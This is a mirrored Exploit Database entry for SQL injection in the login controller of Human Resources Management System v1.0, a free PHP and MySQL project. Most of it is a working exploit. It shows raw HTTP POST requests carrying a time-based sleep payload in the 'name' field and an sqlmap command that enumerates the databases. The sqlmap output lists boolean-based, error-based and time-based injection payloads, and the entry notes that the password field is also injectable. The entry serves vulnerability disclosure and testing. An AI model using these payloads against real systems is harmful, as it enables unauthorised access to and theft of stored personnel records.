Human Resources Management System v1.0 – Multiple SQLi

• Exploit Database
• 124 阅读

• 作者： Abdulhakim Öner
  日期： 2023-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51047/
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  # Exploit Title: Human Resources Management System v1.0 - Multiple SQLi # Date: 16/03/2023 # Exploit Author: Abdulhakim Öner # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html # Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip # Version: 1.0 # Tested on: Windows   ## Description A Blind SQL injection vulnerability in the login page (/hrm/controller/login.php) in Human Resources Management System allows remote unauthenticated attackers to execute remote command through arbitrary SQL commands by "name" parameter.   ## Request PoC </code><code> POST /hrm/controller/login.php HTTP/1.1 Host: 192.168.1.103 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Referer: http://192.168.1.103/hrm/ Content-Type: application/x-www-form-urlencoded Content-Length: 73   name=test@testdomain.com&apos;&password=test&submit=Sign+In   </code><code> This request causes an error. Adding "&apos;%2b(select*from(select(sleep(20)))a)%2b&apos;" to the end of "name" parameter, the response to request was 302 status code with message of Found, but 20 seconds later, which indicates that our sleep 20 command works. </code><code> POST /hrm/controller/login.php HTTP/1.1 Host: 192.168.1.103 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Referer: http://192.168.1.103/hrm/ Content-Type: application/x-www-form-urlencoded Content-Length: 114   name=test@testdomain.com&apos;%2b(select*from(select(sleep(20)))a)%2b&apos;&password=test&submit=Sign+In   </code><code> ## Exploit with sqlmap Save the request from burp to file </code><code> ┌──(root㉿caesar)-[/home/kali/Workstation/hrm] └─# sqlmap -r sqli.txt -p &apos;name&apos; --batch --dbs --level=3 --risk=2 ---snip---- [15:49:36] [INFO] testing &apos;MySQL UNION query (89) - 81 to 100 columns&apos; POST parameter &apos;name&apos; is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 838 HTTP(s) requests: --- Parameter: name (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: name=test@testdomain.com&apos; AND 3287=(SELECT (CASE WHEN (3287=3287) THEN 3287 ELSE (SELECT 8737 UNION SELECT 2671) END))-- -&password=a5P!s3v!K8&submit=Sign In   Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=test@testdomain.com&apos; OR (SELECT 6958 FROM(SELECT COUNT(*),CONCAT(0x717a766b71,(SELECT (ELT(6958=6958,1))),0x716b786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VHwA&password=a5P!s3v!K8&submit=Sign In   Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=test@testdomain.com&apos; AND (SELECT 1760 FROM (SELECT(SLEEP(5)))LTmV)-- fhJt&password=a5P!s3v!K8&submit=Sign In --- [15:49:36] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.2.0, Apache 2.4.54, PHP ----snip----   </code><code> ## The "password" parameter in the POST request is also vulnerable. It can be exploited in the same way.